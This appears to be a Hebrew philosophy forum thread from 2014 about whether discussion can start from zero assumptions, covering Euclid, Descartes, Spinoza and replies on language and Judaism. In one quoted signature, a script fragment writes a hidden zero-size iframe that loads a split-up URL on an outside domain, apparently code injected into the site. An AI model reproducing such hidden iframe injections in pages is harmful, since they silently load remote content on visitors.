|
|
| נשלח ב-23/7/2014 08:12 |
 |
| |
דיון ללא הנחות יסוד, האפשר? (לאלי.ס)
חברנו eli_s כתב
בעבר הרחוק הצעתי לקיים פה דיונים מסודרים עם התחלה מנקודת אפס, כולל הנחיה, דיון מעמיק עם הנחות, אסקיומות וכן הלאה. לא היה אף אחד שירים את הכפפה.
ואני עניתי:
לדעתי לא נתן לקיים דיון עם "אפס הנחות". אבל ניתן לקוות לנהל דיון עם מידה רבה, ואף גדלה והולכת, של מודעות עצמית והמשגה של הנחות יסוד הנחשפות תוך כדי דיון.
יתכן שדברי אלי-ס נועדו כהצעה לפתיחת אשכול על שאלות גדולות בפילוסופיה. בשאלות "גדולות" כוונתי לשאלות החשובות והמטרידות ביותר שיש לנו: האם יש אלוקים, מה ניתן לדעת עליו (האם הוא אוהב אותנו, אוהב צדקה וחסד ומשפט, נתן תורה בסיני), מהו האדם, האם יש עולם הבא והישרדות הנפש, וכאלו.
והנה, הצעתו של אלי-ס מעוררת רושם יפה. האם לא זה מה שכולנו רוצים, כוונתי לאלו שמוכנים לחפש את האמת גם אם היא קשה ומכאיבה?
אמנם, אני חושש שיש הנחה מובלעת בדבריו, והיא שאפשר לקיים דיון "עם אפס הנחות".
אנסה להבהיר מדוע זה בלתי אפשרי, ומאיזו בחינה זה בלתי אפשרי. ואציג זאת ממספר זויות.
***
הנחות יסוד של כל דיון
מה שאנו עושים בפילוסופיה, ברמה הראשונית, הוא שנים או שלושה דברים.
להבהיר לעצמנו שימוש במילים, עם אבחנות, ובכך להינצל מטיעונים לא תקפים (=המחלה הקשה של כל פילוסוף הפוחד ממנה: לבנות מערכת של טענו=משפטים שבהן המסקנה כביכול נסמכת על ההנחות והמסקנה תהיה הכרחית מהן - אבל זו טעות לוגית).
שנית, לפתח מודעות עצמית. לא רק לעצמנו, אלא לתהליכי המחשבה שאנו עוברים.
שלישית, להמשיג. (קונצפטואליזציה בלעז). כלומר לקרוא בשמות למה שאנו מגלים על עצמנו ועל חשיבתנו, כדי שנדע לומר לעצמנו - ולאחרים - מה אנו עושים בשעה שאנו מתפלספים (במובן החיובי של המילה).
יש לשים לב למה שנעשה כאן: אין אנו מתחילים באופן סינתטי, להניח הנחות שהן הכרחיות ומהן לבנות את העולם מסביב ואת עצמנו, ולהראות איך כל זה הכרחי. אנו עושים להפך. יוצאים מן הנתון, שהוא התודעה שלנו ואולי נתונים ישירים שעליהם אי אפשר להתווכח ובהם לא ניתן להטיל ספק, ומהם לבנות מערכת שיטתית.
כפי שייראה, יש כאן שני כיוונים, ואכן פילוסופים גדולים וחשובים הלכו בהם. הכיוון האחד הוא לצאת מן הנתון ולשאול מה הנחות היסוד שלו: כלומר, מודעות עצמית והמשגה. הכיוון השני הוא לחשוף הנחות יסוד שאי אפשר בלעדיהן ולבנות מהן את המציאות שלנו ולהראות: הנה, הגענו, הכל ברור.
***
הדגם החלומי של אוקלידס
בתולדות המחשבה האנושית, דומה שהמפעל הגדול ביותר (לפחות המוכר לי) של מחשבה הוא של אוקלידס.
איני יודע מי היה היווני הזה. אבל לפי מה שלמדתי ממנו ולפי מה שקראתי עליו, הוא הצליח לבנות דגם שעד היום מנצנץ לעינינו כדגם הבסיסי שלפיו יש לבנות כל מדע וכל פילוסופיה.
ואכן, היו שהלכו בעקבותיו, כפי שאראה בפרק הבא.
מה עשה אוקלידס? הוא בנה את כל הגאומטריה (=הנדסה בעברית) מתוך דברים פשוטים מאד. מושגי יסוד, הנחות יסוד, וכללי הלוגיקה.
מתוך מספר לא גדול של גורמים הוא בנה מערכת שמכוחה אפשר היה לעשות את כל מה שאנו עושים במדע. ולמרות שהדברים נכתבו לפני אלפי שנים, אי אפשר היה לשפר אותו.
שתי הערות שהידענים ודאי ירצו להוסיף: הנחות היסוד שלו נחשבו בעיניו למוצדקות כי הן אינטואיטיביות (אבל מה זה "אינטואיטיבי? ברור לתודעה? ואז מה?). ואכן, נמצא במשך הדורות, אם כי לפני כמאתיים שנה בערך בלבד, שאפשר לנסות להמיר הנחת יסוד שלו ולקבל גאומטריות אחרות. כוונתי להנחת היסוד לכך שניתן להעביר קו מקביל אחד, לא פחות ולא יותר, לקו אחר - דרך נקודה מחוץ לקו האחר. זה נשמע מסובך, אבל אני מאד ממליץ להתבונן בזה ולהבין במה מדובר.
עבור אלו כמוני שמתקשים במתמטיקה, הנה פירוט. דמיינו קו ישר - אבל אינסופי לשני הכיוונים. נכון שלא יתכן כזה דבר. בעולם אידיאלי של מתמטיקאים אפשר. עכשו בחרו נקודה מחוץ לישר הזה. כלומר לא עליו. עכשו שאלו את עצמכם: האם ניתן להעביר קו מקביל, שתמיד יהיה באותו מרחק מהקו הראשון, שאף פעם לא יתקרב אליו ולכן לא ייפגש איתו? כמה קוים כאלו ייתכנו? אני סבור שכולנו נענה: רק אחד ובהכרח אחד. ובכן, שני מתמטיקאים דגולים גילו שאפשר להניח שהתשובה תהיה אפס (אין קוים כאלו כי כולם ייפגשו פעם אי שם) ואינסוף כאלו (איני מבין איך) ואז ייבנו גאומטריות מקבילות, חפות מסתירה.
שנית, במאה העשרים חי מתמטיקאי גאוני (ולימים מטורף...) בשם קורט גדל (אל תנסו לבטא את שמו, משהו גרמני כבד שמעקם את הפה), והוא הוכיח (כך אומרים) שמערכת מתמטית תמיד תכיל משפטים שלא ניתן יהיה להוכיח או לגלות אם הם שגויים או לא. זה אומר שהמערכת של אוקלידס אינה מושלמת, כלומר יהיו אמירות לגבי המציאות הגאומטרית (כלומר כל מציאות שיש בה מתמטיקה) שלא ניתן יהיה להוכיח.
ובכל זאת, אי אפשר להתחרות עם המערכת הזו שהיא הדגם החלומי של מדע.
האם ניתן לבנות זאת גם בפילוסופיה?
***
דוגמאות היסטוריות: שתי הדרכים
כתבתי שיש שתי שיטות לבנות מערכת מושלמת דמוית הגאומטריה האוקלידית (אתם אמורים להכיר את המונח הכבד הזה בשלב זה). ומי שעשה את החלוקה הזו היה חברנו עמנואל קאנט, אחד משני גדולי הפילוסופים שהיו אי פעם (ומיכי שלנו חזר על כך בספריו, כלומר על האבחנה שלו).
***
דוגמאות היסטוריות: הדרך האנליטית
הדרך האחת היא אנליטית. כלומר, מנתחת. נצא ממה שאנו מכירים ונשאל איך זה עובד ואיך זה יכול להיות.
בדרך הזו הלך למשל אפלטון. איך יש לנו מושגים ואיך יש בעולם אובייקטים שעליהם חלים המושגים? איך יש שולחן וגם "יופי"? אפלטון האמין שיש אידיאות בעולם אידיאלי שהדברים שלנו מחקים אותם. אל תשאלו היכן אותו עולם ואיך נעשה החיקוי. אפלטון הגיע לתובנה בשלב מאוחר שהפתרון שלו טעון בירור (ותשובתו, אם היתה ומה היתה, נתונה במחלוקת בין מפרשיו עד היום. ראו בדיאלוג "פרמנידס" וכן ב"תיאטטוס" אם זכרוני אינו מטעני).
אריסטו הלך בדרך אחרת, ומתוך ניתוח האופן שבו המחשבה מתנהלת, שזה בעצם ניתוח האופן שבו השפה היוונית בונה משפטים, הסיק לגבי הלוגיקה (=איך אפשר להסביר מהי לוגיקה במשפט אחד? לומר שזו תורת ההגיון? זו שיטה שמסבירה כיצד נבנות טענות=משפטים ואיך לבדוק מתי מתקיימים בין המשפטים יחסי תקפות, כלומר, איך משפטים מורישים זה לזה את התוכנה היקרה כל כך של להיות אמיתיים). כך בנה אריסטו מונחים כמו חומר/צורה, בנה את המיתוס הגדול על אלוהים שנראה כמו בודהה המתבונן בעצמו ועל שכלים שמקיפים אותו ומתבוננים בו, עד לעולמנו...
ושוב, קרוב יותר לדורנו וחכם יותר, הפילוסוף הצרפתי רנה דקארט ניסה לזרוק החוצה כל מה שאינו הכרחי (וכך ענה לשאלה איך אני יודע שמשפטים הם אמת, השאלה שהצגתי על הנחות היסוד של אוקלידס - ראו לעיל). ומה שיישאר בלתי ניתן לערעור הוא האמת. והוא נשאר עם "אני חושב אז אני קיים". (ולמתענינים, זה ה"קוגיטו" שלו, קוגיטו ארגו סום = אני חושב אז אני קיים, או בקיצור "קוגיטו", מונח יסוד בפילוסופיה).
למרבה הצער, מתברר שאפילו הקוגיטו החשוב של דקארט, שעושה רושם על נערים (כשהייתי צעיר התפעלתי עד בלי די, ועד היום) - עלול להיות פחות ברור. למשל, האם יש "אני" ו"אני חושב"? ראו כיצד מבקרים אותו החל מדיויד יום ועד לחוקרי מוח ופילוסופים מדעיים שטוענים שאין דבר כזה "אני". איני מסכים שהם צדקו, אבל אני מסכים שהשגותיהם מעוררות שאלה אם זו הנחת יסוד שאי אפשר בלעדיה. אפשר לומר שכן, ואני עדיין סבור שכן, אבל זה לפחות לא כל כך אינטואיטיבי. וצריך הרבה ידע כדי לשמר את הנחת היסוד הזו.
***
הדרך הסינתטית
הדרך הסינתטית (=מרכיבה) היא לקחת הנחות יסוד ולמזג אותן עד שמקבלים שיטה שתהיה מושלמת ותבאר הכל. כזכור, גם זה מה שעשה אוקלידס.
נסיון גדול ומעניין נעשה בידי שפינוזה. יש לו מעריצים עד היום, והיו גם בפורום שלנו (המייסד וטו, אבל אולי מטעמים אחרים).
שפינוזה האמין שהוא בונה מערכת עם הנחות יסוד ומושגי יסוד שעליהם לא ניתן לערער. לספרו היסודי בתחום, "האתיקה" יש תירגום חדש (שטרם קראתי). אני כותב על סמך הישן. זה מפעל מרתק שמעורר שאלות כיצד אדם חכם כשפינוזה, שבני דורו החכמים מאד העריכו, כותב מילים שבקושי מתקשרות ומאמין שהגיע לאמת. אבל אולי כל פילוסוף צפוי לכך?
שהרי תמיד יש תגליות שמערערות מה שנראה פשוט והכרחי בדור קודם.
***
מסקנות מן ההיסטוריה
ניסיתי להראות כיצד עבדו פילוסופים בעבר, וכיצד ניתן למיין את מפעליהם לשני סוגים. בגלל הכשלון המהדהד של בעלי השיטות המושלמות נוסח שפינוזה אני מציע להיות צנועים וללכת בדרך האנליטית. זה מביא אותנו לדקארט. האם יש משהו שניתן לומר באופן הכרחי?
והנה כמה השגות על אותה הכרחיות.
מה זה "לומר"? אין כוונתי בפה אלא במושגים. אבל האם "מושג" הוא דבר כל כך פשוט? לחלק מהמושגים - או המילים - יש אובייקט שכל מילה מצביעה עליו. אבל האם יש אובייקט אחד פשוט בעולם?
השולחן, כמו שכתב אדינגטון (תודה למיכי שתיקן אותי פעם), אינו רק זה שעליו מונח המחשב שבו אני כותב כעת. זה גם אוסף של אטומים, שרובו חלל ריק אבל את כל זה איני רואה. ובכלל, מדוע השולחן מתייחד כנפרד משאר המציאות? בגלל שאני קראתי לו כך? ולפי מה עשיתי זאת? האם אני פרי התרבות שלי וזהו?
והמחשבה שלי? האם יש "אני" שבו אני יכול להיות בטוח? אפילו נקודה אחד של מודעות עצמית של קוגיטו? אני סבור שכן, אבל זה ודאי נתון לדיון.
כיון שכל דיון מחייב דיון מקדים על שפה ולוגיקה ומי יודע לאן עוד נגיע (האם הפילוסופים מיצו כל מה שאפשר לומר?) - אני מפקפק אם ניתן לקבל דיון "עם אפס הנחות". לכן אני ממליץ לקיים דיון יסודי ככל האפשר עם מודעות עצמית (=רפלקציה בלעז) והמשגה של הנחות יסוד שייחשפו.
והשאלה שיש כנראה לשאול היא:
מה אפשר לקבל בוודאות?
ומייד נשאל: ומהי אותה ודאות?
(פתיחה להמשך: דקארט ענה כמה תשובות שהן בעצם שונות. האחת שזה ברור לתודעה שלי. מה שכינה "האור הטבעי של התבונה". אבל זה שיש לי חויה כזו, ואני יכול לתאר אותה פנומנולוגית=בלי להתחייב שיש משהו כזה אונטולוגי, רק מה שאני חווה, האם זה מספיק? שנית, שכל ויתור על הנחה כזו מסבך בסתירה. על זה יש לשאול: אז מה. אולי באמת אין מנוס מסתירות. יש המון תשובות, ודאי שיש, אבל האם אפשר להחלץ מן המבוך של דיון ארוך, אולי אינסופי)?
המשך צריך לבוא. אבל האם יש קונים לסחורה הזו?
(נכתב לצערי ללא הגהות. כי אם לא, לא הייתי כותב. סליחה. אז אם יש טעויות נא להעיר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-23/7/2014 08:53 |
|
| |
וואלה הרב מיימוני היקר.
סיכום יפהפה של החשיבה המערבית, שרק לא מזמן ירדו מהעצים, ואימצו בחום את היוונים דרך הערבים.
אבל כידוע לכולנו ההיסטוריה האנושית לא מתחיל באנגליה ולא ביוון שאלפיים שנה לפניהם היו כבר אימפריות חברתיות גדולות ששולטות בכל העולם כמו פרס ומדי כמו בבל כמו אשור ונמרוד.
ולצידם ונגדם כמובן יש את היהודי הנחס הנצחי שעושה את ברית המילה ומכחיש את כל החשיבה הדמיונית של האימפריות הגדולות.
אל לנו לשכוח שעוד לפני נמרוד והישות הדמיונית הראשונה באנושות (= דור הפלגה) כבר האדם המציא את השפה ואת הלוח שנה ואת חוקי המשפחה על ידי אדם הראשון התבוני. ואחריו כמובן המצאת החקלאות שלכך המציאו את הלוח.
לא לשכוח את החינוך. אחריו נח המציא את החלוקה ומכך הקניין והירושה וכתוצאה הצווים הראשונים של לא תגנוב ולא תרצח ועוד ועוד.
אז אם כל הכבוד ליוון שרצו שאני הוכיח להם שאני ער ולא חולם, אבל עד שאני הוכיח להם שאני ער, אני בינתיים ימציא את השפה ואת הביגוד\לבוש את החינוך ואת חוקי המשפחה ואת החקלאות ואת הלוח שנה ואת חלוקת הארצות ואת הקניינים ואת הצווים המוסריים של לא תגנוב וכו' וכו'
לסיכום:
יש להבדיל בין מלחמת האדם מול הטבע ואסונות טבע והמחלות, ששם צריך סוג של מתודה מדעית להתחיל להכיר את הטבע, כך שלא נהיה אקראיים מול כל אסון טבע ומול כל חולי.
לבין מה שנקרא האדם והתנהלותו והתנהלותו מול זולתו.
ומי שמחכה שאני הוכיח לו שאני ער ולא חולם ? שימשיך לחכות !!!
אבל כאמור אלפי שנים לפניהם הם ידעו שיש בינה אחדותית בין בני אדם מעצם שהמציאו את השפה, הם גם ידעו שהיקום אחדותית מעצם זה שהמציאו את הלוח שנה. ובעיקר ידעו שאין להאדם משיכה מינית דטרמיניסטית לבת\ן מינם ולכן נפרדו מהג'ונגל והפכו להיות חקלאים והמציאו משום כך את חוקי המשפחה.
לסיום:
אני חייב לומר לכם את הכשל הנורא של לחפש את היקום כשלעצמו, את הכשל לחפש את האלוהים וכדומה, כי מעצם שאתם מחפשים אותו ? אתם נכנעים לע"ז כלומר שוללים את חירותכם המוחלטת ורוצים לשמוע מה האליל רוצה ולהיכנע לו.
כך שמבחינת היהדות העמוקה, כל מה שתמצאו ?! נמשיך לומר שזה ע"ז !!
את הטיעון הזה טען אברהם נגד נמרוד ולכן המציא את ברית המילה.
ויעקב שאל את בניו אולי שאתם מכמה נשים אז תעשו מהם ישויות דמיוניות ?! מיד השיבו כל בניו בפה אחד "שמע ישראל השם אלוהינו השם אחד = הפרט = אין לנו שום ישות דמיונית אחר.
|
|
|
|
|
| נשלח ב-23/7/2014 08:57 |
|
| |
מקסמן
כתבת דברים כדורבנות - והם אינם קשורים לאשכול זה בכלל. אתה מציג את סיכומך להיסטוריה האנושית ולמה שלדעתך התורה אומרת על זה, וכן השכל הישר. אבל מטרתי באשכול היתה לקבוע דיון שרחוק ככל האפשר מנתונים חשודים עבור הפילוסוף כמו נתונים היסטוריים...
אז הבה נניח לאשכול לעסוק בשלו ואת עמדתך תציג באשכול אחר. תודה. ואיקון ירוק על ההתיחסות, כמובן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/7/2014 09:22 |
|
| |
| מיימוני כתב: |  | מקסמן
כתבת דברים כדורבנות - והם אינם קשורים לאשכול זה בכלל. אתה מציג את סיכומך להיסטוריה האנושית ולמה שלדעתך התורה אומרת על זה, וכן השכל הישר. אבל מטרתי באשכול היתה לקבוע דיון שרחוק ככל האפשר מנתונים חשודים עבור הפילוסוף כמו נתונים היסטוריים...
אז הבה נניח לאשכול לעסוק בשלו ואת עמדתך תציג באשכול אחר. תודה. ואיקון ירוק על ההתיחסות, כמובן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הרב מיימוני היקר.
עיין נא בסיום שלי ותעמיק להבין את הכשל בלחפש את הדבר כשלעצמו את הצו העליון.
ולכן לדעתי זה קשור ועוד אייך לנושא האשכול. כי באמת אנו מתחילים מאפס בלי שום הנחות. אנו מתחילים עם עצמינו ושרידותינו, ולא מחפשים להיות רובוט לשום אליל ולשום דבר כשלעצמו של קאנט.
בכל אופן תודה
בעיקר אמרתי משהו עקרוני שחייבים להבין את ההבדל בין מתודה מדעית שנצרך להאדם מול הטבע ואסונות טבע וחוליים וכדומה. ששם באמת חיפשו את חוקי הטבע האבסולוטיים. אבל לבסוף עצרו מלכת ואימצו את הסטטיסטיקה וכו' והמדע התחיל להתקדם בחיפושים שלה בלי תזות פילוסופיות. כלומר בעצם המדע התקדמה דווקא שעזבו את החיפוש אחרי חוקי טבע אבסולוטיות דטרמיניסטיות סימטרי בזמן.
כך שבעצם גם כאן שאנו מחפשים לדעת אייך להתמודד מול הטבע ולנצח אותו, אז גם הספונטניות ניצחה ולא החיפוש אחרי הדבר שלכעצמו.
אבל מצד האדם ? מי מחפש אדון לעצמו ??? הוא רוצה לוותר על החופש והחירות ? להפך הרי הוא רוצה לנצח את הברירה הטבעית.
תוקן על ידי maxmen ב- 23/07/2014 10:13:23
|
|
|
|
| נשלח ב-23/7/2014 09:33 |
|
| |
לֹא עָלֶיךָ הַמְּלָאכָה לִגְמוֹר, וְלֹא אַתָּה בֶן חוֹרִין לִבָּטֵל מִמֶּנָּה
לא אמרו לסיים אלא להבטל. ונראה לי כי כל יצירה אנושית היא באמצע: משהו קדם לה ומשהו ימשיך ממנה מה רב ומה מעט. הרצון להתחיל מהתחלה הוא תמים מעל ומעבר לבעיות הלוגיות שהרב מיימוני ציין. הוא גם מניח הנחה מאד מפוקפקת והיא שלו ייצויר שניתן היה להתחיל מאפס הרי יש אין ספור מזלגות לוגיים שניתן לקחת וממילא אין לנו סיבה להניח שאיכות מסקנותנו תהיה טובה יותר. אנחנו תמיד באמצע ואעפ"כ אין לנו רשות להבטל מהשאלות הגדולות שיותר משהן מבלבלות הן יוצקות תוכן להיותנו צלם
תוקן על ידי yerubaal ב- 23/07/2014 09:33:51
|
|
|
|
| נשלח ב-23/7/2014 10:11 |
|
| |
מיימוני,ההקדמה שלך מיותרת כי לדעתי לא קראת את דבריו של אלי בעיון הנדרש.
אלי ס.לא כתב שהדיון יתחיל מאפס הנחות אלא מנקודת אפס . הכוונה היא שכל המשתתפים בדיון יניחו בצד את ההנחות המוקדמות שלהם שהם דבקים בהם בגלל היותם שייכים "דת השכונה" ויקשיבו להנחות של הצד שני בלי דעות קדומות.כמובן שגם אלה מהצד ההפוך שאינם דבקים בדת השכונה אמורים לעשות את אותו הדבר.
|
|
|
|
| נשלח ב-23/7/2014 10:23 |
|
| |
אנחנו הרי לא אוניברסיטה. ולא ישיבה ו כולל שחייבים ללמוד ולחקור X חומר.
הפורום הוא פורום חברתי חופשי להחלפת דעות. בדרך כלל מזדמנות לפעמים יזומות,
יש שכותבים מה שהם יודעים. ויש שיודעים מה שהם כותבים. ויש אחרים שכותבים. סתם, ויש שכותבים סתם להרגיז. כל הכותבים יחד בונים ומתחזקים את הפורום.
הדיון מתפתח לפעמים מכלום לאשכל תוסס, ולפעמים מרומו של עולם לנאדה.
זה המצב וזו התמונה, כמו כולנו לפעמים היא טובה ויפה. ולפעמים איפכא. אין כוונתי שאין לנפות לפעמים.
בזמנו נדפסו הרבה ספרים עם שגיעות רבות גדולות וקטנות. החליטו המגההים להתקבץ יחד ולהגיה ספר בלי שגיעות. עבדו על הספר ימים ולילות, והדפיסו את הספר עם יותר שגיעות מהרגיל.
הסיפור על אדם שהגיע לגהנום לסיור, עבר ממחלקה למחלקה, עד שהגיע למחלקה שבו אנשים היו בתוך בריכה גדולה של צואה ממש עד פיהם, וכולם לחשו בתחינה- אל תעשו גלים -אל תעשו גלים.
|
|
|
|
| נשלח ב-23/7/2014 11:15 |
|
| |
אפרים בן
תודה רבה!
לא הבנתי את דבריו, כנראה.
בכל אופן, הניתוח שלי במקומו עומד גם אם נכתב בתשובה לשאלה שלא הועלתה. סמיילי.
ולגבי מה שכתבת, סבורני שכולנו כאן משתדלים להיות מודעים לכך שיש לנו הנחות יסוד, ואפשר שחלקן מ"דת השכונה", ובוודאי שחלקן מ"כפירת השכונה", וחלקן מ"מרד הנעורים" וחלקן מ"תשובת המתלהבים לחזור בתשובה" ועוד ועוד.
אמנם דרך הפורום היא לא לחשוד בכותבים שיש להם מניעים סמויים או גלויים. מתייחסים לתוכן. אם יש שאלות ויש תשובות, מה טוב. כל אחד מציג את עמדתו ומבקר, בנימוקים ובדרך ארץ, את דברי חברו. כך שמשאלתו של אלי עדיין לא ברורה לי.
אני בכל זאת סבור שכוונתו היתה גם למה שכתב יתכן בעבר, שצריך לשקלל את אמונותינו ולראות לאן זה יוביל אם מנסים לעשות זאת בצורה פילוסופית או רציונלית או ספקנית. ולגבי זה דברי כאן, סבורני, כן מועילים ותורמים.
כל הנחת יסוד היא חשודה, אבל זה לא אומר שהיא פסולה. צריך לפתח לגביה מודעות ולשאול מדוע אני מחזיק בה. אבל זה שיש לי שאלה "מנלן" אינה מחייבת להשליך אותה, ובוודאי לא למעשה.
אם אדם בדק את כל דרכו והגיע למסקנות מעשיות יוכל, אם יבחר, לממש אותן. אבל למרות שיש לי ענין רב בהחלטותיהם של בני אדם, ובמיוחד אלו שאני מכיר, גם דרך הפורום, ויש לי השקפות שאני מבקש להקנות מתוך מה שאני מחשיב לטובי, חכמתי ויראתי, לסביבה, אני ער לכך שהם רשאים ולא אני.
ואולי כדאי היה להוסיף את התזכורת הזו לחוקת הפורום. לא טרחתי מעודי להוסיף אותה כי היא היתה ברורה לי. כל אחד מאיתנו, חברים כאן, בודק את עצמו ומציע אבחנות לזולתו.
אז להאשים חברים שהם מתמכרים מרצון או מאונס ל"דת השכונה" או ל"כפירת השכונה" - אין זה ראוי ומסתבר שזה גם לא נכון.
והנראה לדעתי כתבתי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-23/7/2014 11:16 |
|
| |
ירוחם
איקון ירוק!
אני חוזר על הלקח העולה מבדיחתך, שנראה לי שמוטיהו ועמיתיו ישישו עליו כמוצאי שלל. כי כך הוא באמת.
לפעמים, דווקא הבדיקה מובילה לשגיעות חדשות (טעות הכתיבה, כמו אצלך, היא בכוונה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/7/2014 11:40 |
|
| |
שגיאות מי יבין? המבין
הששים על אמרתי הם רק מחפשים שלל רב, מזנבים את הנחשלים בשליחות קדושה.
תוקן על ידי ירוחםשמ ב- 23/07/2014 11:44:16
|
|
|
|
| נשלח ב-23/7/2014 14:58 |
|
| |
מיימוני,
כתבת סיכום נאה של דרכי הפילוסופיה הרציונלית מאוקלידס ועד לשפינוזה.
א. בני האדם נולדים לשפה. השפה הינה תולדת דברים בעל-פה ובכתב שדיברו וכתבו נביאים, חוזים, משוררים, חכמים, דיינים, הוגי דעות, פילוסופים, סופרים, אמנים, מדענים, בעלי מלאכות, אנשים, נשים, וילדים בכל דור ודור. לפיכך, לכל מלה בשפה יש הוראה מקורית והרבה משמעויות, מופשטות מושאלות וממשיות, המבטאות מחשבות, רגשות, אמונות, דעות, מושגים, עצמים, פעולות, היקשים, רמזים, ודקויות, על פי הגיון דובריה וכותביה במהלך הדורות.
ב. בדיאלוגים של אפלטון, יש בד"כ שלוש סוגי חקירות מה המשמעות של מלים. האחת, סוקרטס באמצעות חקירה דיאלקטית מראה שהמשמעויות המקובלות של מלה אינן נכונות ושבאמת לא יודעים מה ההוראה המדויקת של מלים ונדרש לברר זאת בעזרת ההגיון. השניה, אפלטון משתמש בכתבי המשוררים הומרוס והסיודוס כדי לברר את ההוראות של מלים. השלישית, אפלטון מזכיר משחקי מלים של הסופיסטים שלימדו את תלמידיהם שלמלה יש משמעויות שונות בהקשרים שונים.
ג. מאז ומעולם משוררים סוברים שהנסיונות של פילוסופים ומדענים להמשיג את השפה נובעים מערלות לבב וערלות שפתים. ליאופרדי כתב: אשה זקנה ביקשה מצעיר להקריא את שיריה הגדושים במלים עתיקות, וכעבור זמן-מה אמרה לו כי איננה מבינה את דבריו כי בזמנו כבר לא משתמשים במלים האלה, אמר לה הצעיר: אדרבא בטוחני שמשתמשים בהן כי הן מאד עתיקות. כתב אנטוניו פורקיה: מה שהמלים אומרות איננו מתמשך, המלים מתמשכות, כי המלים נשארות אותן מלים, אולם מה שהמלים אומרות לעולם איננו אותו הדבר. וביאליק כתב: "בני-אדם זורים בכל יום לרוח, בכונה ולפי תומם, מלים חמרים חמרים, אותן ואת צירופיהן השונים, ורק מועטים מהם יודעים או מעלים על לב, מה היו המלים ההן בימי גבורתן. כמה מאותן מלים לא באו לעולם אלא אחרי חבלי לידה קשים וממושכים של דורות הרבה; כמה מהן הבהיקו כברקים פתאם ובטיסה אחת האירו עולם מלא; דרך כמה מהן נמשכו ועברו מחנות מחנות של נשמות חיות, נשמה הולכת, נשמה באה, וכל אחת הניחה אחריה צל וריח; וכמה מהן שמשו נרתיקין למיכניסמוס דק ומורכב מאד של מחשבות עמוקות והרגשות נעלות בצרופיהן ובצרופי-צרופיהן הנפלאים ביותר. יש מלים - הררי אל, ויש מלים - תהום רבה. יש שבמלה אחת נגנזה כל תמצית חייה, כל השארת נפשה של פילוסופיה עמוקה, סך-הכל של חשבון עולם שלם. יש מלה שהכריעה בשעתה עמים וארצות, מלכים הקימה מכסאותיהם, מוסדות ארץ ושמים הרגיזה. והנה בא יום והמלים ההן ירדו מגדולתן והושלכו לשוק, ועתה בני-אדם מגלגלים בהן מתוך שיחה קלה כמי שמגלגל בעדשים".
ד. הגיון השפה איננו הגיון מתמטי, כי לו הגיונה היה מבוסס על חוקים מתמטים, אזי אפשר היה ללמד מחשב לדבר כמו אדם (מי שחושב שיש במשפט הזה כשל לוגי, כי העובדה שאין מחשב המסוגל לדבר כמו אדם איננה ראיה שהדבר איננו אפשרי, לא הבין כלל את מה שנכתב). על בעייתיות השיטה הפילוסופית-מדעית של דקארט, נכתבו הספר "הגיונות קארטזיאנים" מאת הפילוסוף והמתמטיקאי הוסרל, והמאמר "העין והרוח" מאת הפילוסוף והפסיכולוג מרלו-פונטי.
|
|
|
|
|
| נשלח ב-23/7/2014 17:19 |
|
| |
אהבתי את "ההנחה שהדת היהודית הינה דת מקסמן"
|
|
|
|
| נשלח ב-23/7/2014 20:55 |
|
| |
| פתיאמי כתב: | | | אהבתי את "ההנחה שהדת היהודית הינה דת מקסמן" |
|
גם אני אהבתי מאוד מאוד, ואתה יודע למה ? כי המטיף הגדול נגד דת השכונה ובעד דיון מאפס. כשל וכושל באותן דברים שהוא זועק כלפיהם.
מה הוא אומר בעצם במשפט הזה. הוא בא עם הנחות מהשכונה שלו שהיהדות לא נכונה. ואז בכל דין מאפס שתוביל ליהדות שלא כפי דת השכונה שלו ?! אז הוא פשוט ייתן ליהדות - הלא מוצא חן בעיינו, שם חדש.
אבל מצד שני אהבתי מאוד כי הנה הוא מסכים שהיהדות היא אמת, הרי כל שם עצם היא שם שרירותית אז מה לי שיקרא לזה דת מקסמן ?? זה בסך הכל שם עצם חדש ליהדות.
הרי באותו דרך יכול לקרוא ליהדות דת צדוקים דת פרושים דת הקראיים דת בית הלל דת בית שמאי דת הרמב"ם דת האריז"ל דת הרמח"ל דת המלבים דת בירסק דת חזו"א דת ליטאים דת חסידים דת ברסלב דת חב"ד דת חרד"ל דת דתי לייט דת חרדי לייט וכו' וכו' וכו'
נוו אז בסך הכל נתן עוד שם עצם.
תוקן על ידי maxmen ב- 23/07/2014 20:56:13
|
|
|
|
| נשלח ב-23/7/2014 21:18 |
|
| |
אלי
כתבת כמה דברים יפים מאד. אני מצטט ומרחיב או מעיר.
אין שום צורך להתחיל דיון ללא שום הנחות יסוד.
אפשר להתחיל אותו על בסיס הנחות המקובלות על שני הצדדים לדיון.
לשם כך צריך שכל מי שטוען טענה פוזיטיבית, יכריז קודם מהן הנחות היסוד על בסיסן הוא טוען טענתו.
אם היינו משתמשים בכלל זה היו נחסכים חצי מהויכוחים פה אשר מקורם רק בדיבור בשפה שונה.
אכן. ראוי שכל אחד יציין את הנחות היסוד החשובות, המשמעותיות לדיון. (שכן אם ננסה למנות הנחות יסוד, לא נגמור. ואני מפנה למאמר מבריק של דודג'סון, הלא הוא לואיס קרול, המציג זאת בצורה הומוריסטית).
ולפעמים לא די בהנחה בעלת תוכן חיובי אלא יש צורך בשלילה (לדוגמא: אני מבקש לנקוט עמדה אמפיריציסטית, ולכן אני רוצה לטעון שהאדם נולד לוח חלק ואין לו תשתית מוכנה מראש לקליטת ידע).
ואכן, יש צורך לשים לב למילים, כיון שיש להן שימושים שונים ואפילו מנוגדים. כמו בדוגמא המצחיקה של "היהדות של מקסמן" אם כי מסתבר שלכל אחד מאיתנו יש יהדות משלו. יפה הבחין אלי-ס שיש "יהדות חרדית בת זמננו" שלגביה ניתן לשאול אם היא מייצגת את מערכת האמונות הראויה של חלקנו. יש יהדות, יש יהדות חרדית, ומסתבר שיש גם גוונים בתוך אותה "יהדות חרדית".
עוד כתב אליס
יש להתחיל כל דיון מתוך אפס הנחות יסוד באשר לתוצאות אותו הדיון
